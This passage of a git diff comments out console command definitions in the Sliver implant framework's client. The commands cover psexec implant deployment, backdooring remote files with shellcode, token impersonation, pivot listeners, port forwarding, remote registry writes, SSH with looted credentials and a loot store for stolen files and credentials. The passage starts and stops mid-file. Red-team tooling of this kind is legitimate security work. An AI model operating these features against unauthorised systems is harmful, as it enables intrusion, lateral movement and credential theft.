+ // fmt.Println()
+ // loadExtension(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // Args: func(a *grumble.Args) {
+ // a.String("dir-path", "path to the extension directory")
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.NamedPipeStr,
+ // Help: "Start a named pipe pivot listener",
+ // LongHelp: help.GetHelpFor([]string{consts.NamedPipeStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.String("n", "name", "", "name of the named pipe")
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // namedPipeListener(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.SliverHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.TCPListenerStr,
+ // Help: "Start a TCP pivot listener",
+ // LongHelp: help.GetHelpFor([]string{consts.TCPListenerStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.String("s", "server", "0.0.0.0", "interface to bind server to")
+ // f.Int("l", "lport", defaultTCPPivotPort, "tcp listen port")
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // tcpListener(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.SliverHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.PsExecStr,
+ // Help: "Start a sliver service on a remote target",
+ // LongHelp: help.GetHelpFor([]string{consts.PsExecStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // f.String("s", "service-name", "Sliver", "name that will be used to register the service")
+ // f.String("d", "service-description", "Sliver implant", "description of the service")
+ // f.String("p", "profile", "", "profile to use for service binary")
+ // f.String("b", "binpath", "c:\\windows\\temp", "directory to which the executable will be uploaded")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // psExec(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // Args: func(a *grumble.Args) {
+ // a.String("hostname", "hostname")
+ // },
+ // HelpGroup: consts.SliverWinHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.BackdoorStr,
+ // Help: "Infect a remote file with a sliver shellcode",
+ // LongHelp: help.GetHelpFor([]string{consts.BackdoorStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // f.String("p", "profile", "", "profile to use for service binary")
+ // },
+ // Args: func(a *grumble.Args) {
+ // a.String("remote-file", "path to the file to backdoor")
+ // },
+ // HelpGroup: consts.SliverWinHelpGroup,
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // binject(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.MakeTokenStr,
+ // Help: "Create a new Logon Session with the specified credentials",
+ // LongHelp: help.GetHelpFor([]string{consts.MakeTokenStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.String("u", "username", "", "username of the user to impersonate")
+ // f.String("p", "password", "", "password of the user to impersonate")
+ // f.String("d", "domain", "", "domain of the user to impersonate")
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // HelpGroup: consts.SliverWinHelpGroup,
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // makeToken(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.SetStr,
+ // Help: "Set an implant/session option",
+ // LongHelp: help.GetHelpFor([]string{consts.SetStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.String("n", "name", "", "agent name to change to")
+ // f.Int("r", "reconnect", -1, "reconnect interval for agent")
+ // f.Int("p", "poll", -1, "poll interval for agent")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // updateSessionCmd(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.SliverHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.GetEnvStr,
+ // Help: "List environment variables",
+ // LongHelp: help.GetHelpFor([]string{consts.GetEnvStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Args: func(a *grumble.Args) {
+ // a.String("name", "environment variable to fetch", grumble.Default(""))
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // getEnv(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.SetEnvStr,
+ // Help: "Set environment variables",
+ // LongHelp: help.GetHelpFor([]string{consts.SetEnvStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Args: func(a *grumble.Args) {
+ // a.String("name", "environment variable name")
+ // a.String("value", "value to assign")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // setEnv(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.UnsetEnvStr,
+ // Help: "Clear environment variables",
+ // LongHelp: help.GetHelpFor([]string{consts.UnsetEnvStr}),
+ // Args: func(a *grumble.Args) {
+ // a.String("name", "environment variable name")
+ // },
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // unsetEnv(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // })
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.LicensesStr,
+ // Help: "Open source licenses",
+ // LongHelp: help.GetHelpFor([]string{consts.LicensesStr}),
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // fmt.Println(licenses.All)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // })
+
+ // registryCmd := &grumble.Command{
+ // Name: consts.RegistryStr,
+ // Help: "Windows registry operations",
+ // LongHelp: help.GetHelpFor([]string{consts.RegistryStr}),
+ // Run: func(ctx *grumble.Context) error {
+ // return nil
+ // },
+ // HelpGroup: consts.SliverWinHelpGroup,
+ // }
+
+ // registryCmd.AddCommand(&grumble.Command{
+ // Name: consts.RegistryReadStr,
+ // Help: "Read values from the Windows registry",
+ // LongHelp: help.GetHelpFor([]string{consts.RegistryReadStr}),
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // registryReadCmd(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // Args: func(a *grumble.Args) {
+ // a.String("registry-path", "registry path")
+ // },
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // f.String("H", "hive", "HKCU", "egistry hive")
+ // f.String("o", "hostname", "", "remote host to read values from")
+ // },
+ // HelpGroup: consts.SliverWinHelpGroup,
+ // })
+ // registryCmd.AddCommand(&grumble.Command{
+ // Name: consts.RegistryWriteStr,
+ // Help: "Write values to the Windows registry",
+ // LongHelp: help.GetHelpFor([]string{consts.RegistryWriteStr}),
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // registryWriteCmd(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // Args: func(a *grumble.Args) {
+ // a.String("registry-path", "registry path")
+ // a.String("value", "value to write")
+ // },
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // f.String("H", "hive", "HKCU", "registry hive")
+ // f.String("o", "hostname", "", "remote host to write values to")
+ // f.String("T", "type", "string", "type of the value to write (string, dword, qword, binary). If binary, you must provide a path to a file with --path")
+ // f.String("p", "path", "", "path to the binary file to write")
+ // },
+ // HelpGroup: consts.SliverWinHelpGroup,
+ // })
+ // registryCmd.AddCommand(&grumble.Command{
+ // Name: consts.RegistryCreateKeyStr,
+ // Help: "Create a registry key",
+ // LongHelp: help.GetHelpFor([]string{consts.RegistryCreateKeyStr}),
+ // Args: func(a *grumble.Args) {
+ // a.String("registry-path", "registry path")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // regCreateKeyCmd(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // f.String("H", "hive", "HKCU", "registry hive")
+ // f.String("o", "hostname", "", "remote host to write values to")
+ // },
+ // })
+ // console.App.AddCommand(registryCmd)
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.PivotsListStr,
+ // Help: "List pivots",
+ // LongHelp: help.GetHelpFor([]string{consts.PivotsListStr}),
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // listPivots(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // f.String("i", "id", "", "session id")
+ // },
+ // HelpGroup: consts.SliverHelpGroup,
+ // })
+
+ // // [ WireGuard ] --------------------------------------------------------------
+
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.WgConfigStr,
+ // Help: "Generate a new WireGuard client config",
+ // LongHelp: help.GetHelpFor([]string{consts.WgConfigStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // f.String("s", "save", "", "save configuration to file (.conf)")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // getWGClientConfig(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // })
+
+ // wgPortFwdCmd := &grumble.Command{
+ // Name: consts.WgPortFwdStr,
+ // Help: "List ports forwarded by the WireGuard tun interface",
+ // LongHelp: help.GetHelpFor([]string{consts.WgPortFwdStr}),
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // wgPortFwdListCmd(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // }
+ // wgPortFwdCmd.AddCommand(&grumble.Command{
+ // Name: "add",
+ // Help: "Add a port forward from the WireGuard tun interface to a host on the target network",
+ // LongHelp: help.GetHelpFor([]string{consts.WgPortFwdStr}),
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // wgPortFwdAddCmd(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // f.Int("b", "bind", 1080, "port to listen on the WireGuard tun interface")
+ // f.String("r", "remote", "", "remote target host:port (e.g., 10.0.0.1:445)")
+ // },
+ // })
+ // wgPortFwdCmd.AddCommand(&grumble.Command{
+ // Name: "rm",
+ // Help: "Remove a port forward from the WireGuard tun interface",
+ // LongHelp: help.GetHelpFor([]string{consts.WgPortFwdStr}),
+ // Args: func(a *grumble.Args) {
+ // a.Int("id", "forwarder id")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // wgPortFwdRmCmd(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // })
+ // console.App.AddCommand(wgPortFwdCmd)
+
+ // wgSocksCmd := &grumble.Command{
+ // Name: consts.WgSocksStr,
+ // Help: "List socks servers listening on the WireGuard tun interface",
+ // LongHelp: help.GetHelpFor([]string{consts.WgSocksStr}),
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // wgSocksListCmd(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // }
+
+ // wgSocksCmd.AddCommand(&grumble.Command{
+ // Name: "start",
+ // Help: "Start a socks5 listener on the WireGuard tun interface",
+ // LongHelp: help.GetHelpFor([]string{consts.WgSocksStr}),
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // wgSocksStartCmd(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // f.Int("b", "bind", 3090, "port to listen on the WireGuard tun interface")
+ // },
+ // })
+
+ // wgSocksCmd.AddCommand(&grumble.Command{
+ // Name: "rm",
+ // Help: "Stop a socks5 listener on the WireGuard tun interface",
+ // LongHelp: help.GetHelpFor([]string{consts.WgSocksStr}),
+ // Args: func(a *grumble.Args) {
+ // a.Int("id", "forwarder id")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Print()
+ // wgSocksRmCmd(ctx, console.Rpc)
+ // fmt.Print()
+ // return nil
+ // },
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // })
+ // console.App.AddCommand(wgSocksCmd)
+
+ // // [ Portfwd ] --------------------------------------------------------------
+ // portfwdCmd := &grumble.Command{
+ // Name: consts.PortfwdStr,
+ // Help: "In-band TCP port forwarding",
+ // LongHelp: help.GetHelpFor([]string{consts.PortfwdStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // portfwd(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.SliverHelpGroup,
+ // }
+ // portfwdCmd.AddCommand(&grumble.Command{
+ // Name: "add",
+ // Help: "Create a new port forwarding tunnel",
+ // LongHelp: help.GetHelpFor([]string{consts.PortfwdStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // f.String("r", "remote", "", "remote target host:port (e.g., 10.0.0.1:445)")
+ // f.String("b", "bind", "127.0.0.1:8080", "bind port forward to interface")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // portfwdAdd(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.SliverHelpGroup,
+ // })
+ // portfwdCmd.AddCommand(&grumble.Command{
+ // Name: "rm",
+ // Help: "Remove a port forwarding tunnel",
+ // LongHelp: help.GetHelpFor([]string{consts.PortfwdStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // f.Int("i", "id", 0, "id of portfwd to remove")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // portfwdRm(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.SliverHelpGroup,
+ // })
+ // console.App.AddCommand(portfwdCmd)
+
+ // // [ Monitor ] --------------------------------------------------------------
+ // monitorCmd := &grumble.Command{
+ // Name: consts.MonitorStr,
+ // Help: "Monitor threat intel platforms for Sliver implants",
+ // }
+ // monitorCmd.AddCommand(&grumble.Command{
+ // Name: "start",
+ // Help: "Start the monitoring loops",
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // monitorStartCmd(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // })
+ // monitorCmd.AddCommand(&grumble.Command{
+ // Name: "stop",
+ // Help: "Stop the monitoring loops",
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // monitorStopCmd(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // })
+ // console.App.AddCommand(monitorCmd)
+
+ // // [ SSH ] --------------------------------------------------------------
+ // console.App.AddCommand(&grumble.Command{
+ // Name: consts.SSHStr,
+ // Help: "Run a SSH command on a remote host",
+ // LongHelp: help.GetHelpFor([]string{consts.SSHStr}),
+ // Args: func(a *grumble.Args) {
+ // a.String("hostname", "remote host to SSH to")
+ // a.StringList("command", "command line with arguments")
+ // },
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // f.Uint("p", "port", 22, "SSH port")
+ // f.String("i", "private-key", "", "path to private key file")
+ // f.String("P", "password", "", "SSH user password")
+ // f.String("l", "login", "", "username to use to connect")
+ // f.Bool("s", "skip-loot", false, "skip the prompt to use loot credentials")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // runSSHCmd(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.SliverHelpGroup,
+ // })
+
+ // // [ Loot ] --------------------------------------------------------------
+ // lootCmd := &grumble.Command{
+ // Name: consts.LootStr,
+ // Help: "Manage the server's loot store",
+ // LongHelp: help.GetHelpFor([]string{consts.LootStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.String("f", "filter", "", "filter based on loot type")
+
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // lootRoot(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // }
+ // lootCmd.AddCommand(&grumble.Command{
+ // Name: consts.LootLocalStr,
+ // Help: "Add a local file to the server's loot store",
+ // LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.LootLocalStr}),
+ // Args: func(a *grumble.Args) {
+ // a.String("path", "The local file path to the loot")
+ // },
+ // Flags: func(f *grumble.Flags) {
+ // f.String("n", "name", "", "name of this piece of loot")
+ // f.String("T", "type", "", "force a specific loot type (file/cred)")
+ // f.String("F", "file-type", "", "force a specific file type (binary/text)")
+
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // lootAddLocal(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // })
+ // lootCmd.AddCommand(&grumble.Command{
+ // Name: consts.LootRemoteStr,
+ // Help: "Add a remote file from the current session to the server's loot store",
+ // LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.LootRemoteStr}),
+ // Args: func(a *grumble.Args) {
+ // a.String("path", "The local file path to the loot")
+ // },
+ // Flags: func(f *grumble.Flags) {
+ // f.String("n", "name", "", "name of this piece of loot")
+ // f.String("T", "type", "", "force a specific loot type (file/cred)")
+ // f.String("F", "file-type", "", "force a specific file type (binary/text)")
+
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // lootAddRemote(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // })
+ // lootCmd.AddCommand(&grumble.Command{
+ // Name: consts.LootCredsStr,
+ // Help: "Add credentials to the server's loot store",
+ // LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.LootCredsStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.String("n", "name", "", "name of this piece of loot")
+
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // lootAddCredential(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // })
+ // lootCmd.AddCommand(&grumble.Command{
+ // Name: consts.RenameStr,
+ // Help: "Re-name a piece of existing loot",
+ // LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.RenameStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // lootRename(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // })
+ // lootCmd.AddCommand(&grumble.Command{
+ // Name: consts.LootFetchStr,
+ // Help: "Fetch a piece of loot from the server's loot store",
+ // LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.LootFetchStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.String("s", "save", "", "save loot to a local file")
+ // f.String("f", "filter", "", "filter based on loot type")
+
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // lootFetch(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // })
+ // lootCmd.AddCommand(&grumble.Command{
+ // Name: consts.RmStr,
+ // Help: "Remove a piece of loot from the server's loot store",
+ // LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.RmStr}),
+ // Flags: func(f *grumble.Flags) {
+ // f.String("f", "filter", "", "filter based on loot type")
+
+ // f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+ // },
+ // Run: func(ctx *grumble.Context) error {
+ // fmt.Println()
+ // lootRm(ctx, console.Rpc)
+ // fmt.Println()
+ // return nil
+ // },
+ // HelpGroup: consts.GenericHelpGroup,
+ // })
+ // console.App.AddCommand(lootCmd)
+}
diff --git a/client/command/env.go b/client/command/env.go
index 50260e0cb0..947ea32363 100644
--- a/client/command/env.go
+++ b/client/command/env.go
@@ -1,111 +1,111 @@
package command
-/*
- Sliver Implant Framework
- Copyright (C) 2019 Bishop Fox
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
-
-import (
- "context"
- "fmt"
-
- "github.com/bishopfox/sliver/protobuf/commonpb"
- "github.com/bishopfox/sliver/protobuf/rpcpb"
- "github.com/bishopfox/sliver/protobuf/sliverpb"
- "github.com/desertbit/grumble"
-)
-
-func getEnv(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.Get()
- if session == nil {
- return
- }
-
- name := ctx.Args.String("name")
- envInfo, err := rpc.GetEnv(context.Background(), &sliverpb.EnvReq{
- Name: name,
- Request: ActiveSession.Request(ctx),
- })
-
- if err != nil {
- fmt.Printf(Warn+"Error: %v", err)
- return
- }
-
- for _, envVar := range envInfo.Variables {
- fmt.Printf("%s=%s\n", envVar.Key, envVar.Value)
- }
-}
-
-func setEnv(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.Get()
- if session == nil {
- return
- }
-
- name := ctx.Args.String("name")
- value := ctx.Args.String("value")
- if name == "" || value == "" {
- fmt.Printf(Warn + "Usage: setenv KEY VALUE\n")
- return
- }
-
- envInfo, err := rpc.SetEnv(context.Background(), &sliverpb.SetEnvReq{
- Variable: &commonpb.EnvVar{
- Key: name,
- Value: value,
- },
- Request: ActiveSession.Request(ctx),
- })
- if err != nil {
- fmt.Printf(Warn+"Error: %v", err)
- return
- }
- if envInfo.Response != nil && envInfo.Response.Err != "" {
- fmt.Printf(Warn+"Error: %s", envInfo.Response.Err)
- return
- }
- fmt.Printf(Info+"set %s to %s\n", name, value)
-}
-
-func unsetEnv(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.Get()
- if session == nil {
- return
- }
-
- name := ctx.Args.String("name")
- if name == "" {
- fmt.Printf(Warn + "Usage: setenv NAME\n")
- return
- }
-
- unsetResp, err := rpc.UnsetEnv(context.Background(), &sliverpb.UnsetEnvReq{
- Name: name,
- Request: ActiveSession.Request(ctx),
- })
-
- if err != nil {
- fmt.Printf(Warn+"Error: %v", err)
- return
- }
-
- if unsetResp.Response != nil && unsetResp.Response.Err != "" {
- fmt.Printf(Warn+"Error: %s\n", unsetResp.Response.Err)
- return
- }
- fmt.Printf(Info+"Successfully unset %s\n", name)
-}
+// /*
+// Sliver Implant Framework
+// Copyright (C) 2019 Bishop Fox
+
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
+
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see .
+// */
+
+// import (
+// "context"
+// "fmt"
+
+// "github.com/bishopfox/sliver/protobuf/commonpb"
+// "github.com/bishopfox/sliver/protobuf/rpcpb"
+// "github.com/bishopfox/sliver/protobuf/sliverpb"
+// "github.com/desertbit/grumble"
+// )
+
+// func getEnv(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.Get()
+// if session == nil {
+// return
+// }
+
+// name := ctx.Args.String("name")
+// envInfo, err := rpc.GetEnv(context.Background(), &sliverpb.EnvReq{
+// Name: name,
+// Request: ActiveSession.Request(ctx),
+// })
+
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v", err)
+// return
+// }
+
+// for _, envVar := range envInfo.Variables {
+// fmt.Printf("%s=%s\n", envVar.Key, envVar.Value)
+// }
+// }
+
+// func setEnv(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.Get()
+// if session == nil {
+// return
+// }
+
+// name := ctx.Args.String("name")
+// value := ctx.Args.String("value")
+// if name == "" || value == "" {
+// fmt.Printf(Warn + "Usage: setenv KEY VALUE\n")
+// return
+// }
+
+// envInfo, err := rpc.SetEnv(context.Background(), &sliverpb.SetEnvReq{
+// Variable: &commonpb.EnvVar{
+// Key: name,
+// Value: value,
+// },
+// Request: ActiveSession.Request(ctx),
+// })
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v", err)
+// return
+// }
+// if envInfo.Response != nil && envInfo.Response.Err != "" {
+// fmt.Printf(Warn+"Error: %s", envInfo.Response.Err)
+// return
+// }
+// fmt.Printf(Info+"set %s to %s\n", name, value)
+// }
+
+// func unsetEnv(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.Get()
+// if session == nil {
+// return
+// }
+
+// name := ctx.Args.String("name")
+// if name == "" {
+// fmt.Printf(Warn + "Usage: setenv NAME\n")
+// return
+// }
+
+// unsetResp, err := rpc.UnsetEnv(context.Background(), &sliverpb.UnsetEnvReq{
+// Name: name,
+// Request: ActiveSession.Request(ctx),
+// })
+
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v", err)
+// return
+// }
+
+// if unsetResp.Response != nil && unsetResp.Response.Err != "" {
+// fmt.Printf(Warn+"Error: %s\n", unsetResp.Response.Err)
+// return
+// }
+// fmt.Printf(Info+"Successfully unset %s\n", name)
+// }
diff --git a/client/command/execute.go b/client/command/execute.go
index 46e22ef1c9..39b31a1cbb 100644
--- a/client/command/execute.go
+++ b/client/command/execute.go
@@ -1,77 +1,77 @@
package command
-/*
- Sliver Implant Framework
- Copyright (C) 2019 Bishop Fox
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
+// /*
+// Sliver Implant Framework
+// Copyright (C) 2019 Bishop Fox
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see .
+// */
-import (
- "context"
- "fmt"
- "strings"
+// import (
+// "context"
+// "fmt"
+// "strings"
- "github.com/bishopfox/sliver/protobuf/rpcpb"
- "github.com/bishopfox/sliver/protobuf/sliverpb"
- "github.com/desertbit/grumble"
-)
+// "github.com/bishopfox/sliver/protobuf/rpcpb"
+// "github.com/bishopfox/sliver/protobuf/sliverpb"
+// "github.com/desertbit/grumble"
+// )
-func execute(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.GetInteractive()
- if session == nil {
- return
- }
+// func execute(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.GetInteractive()
+// if session == nil {
+// return
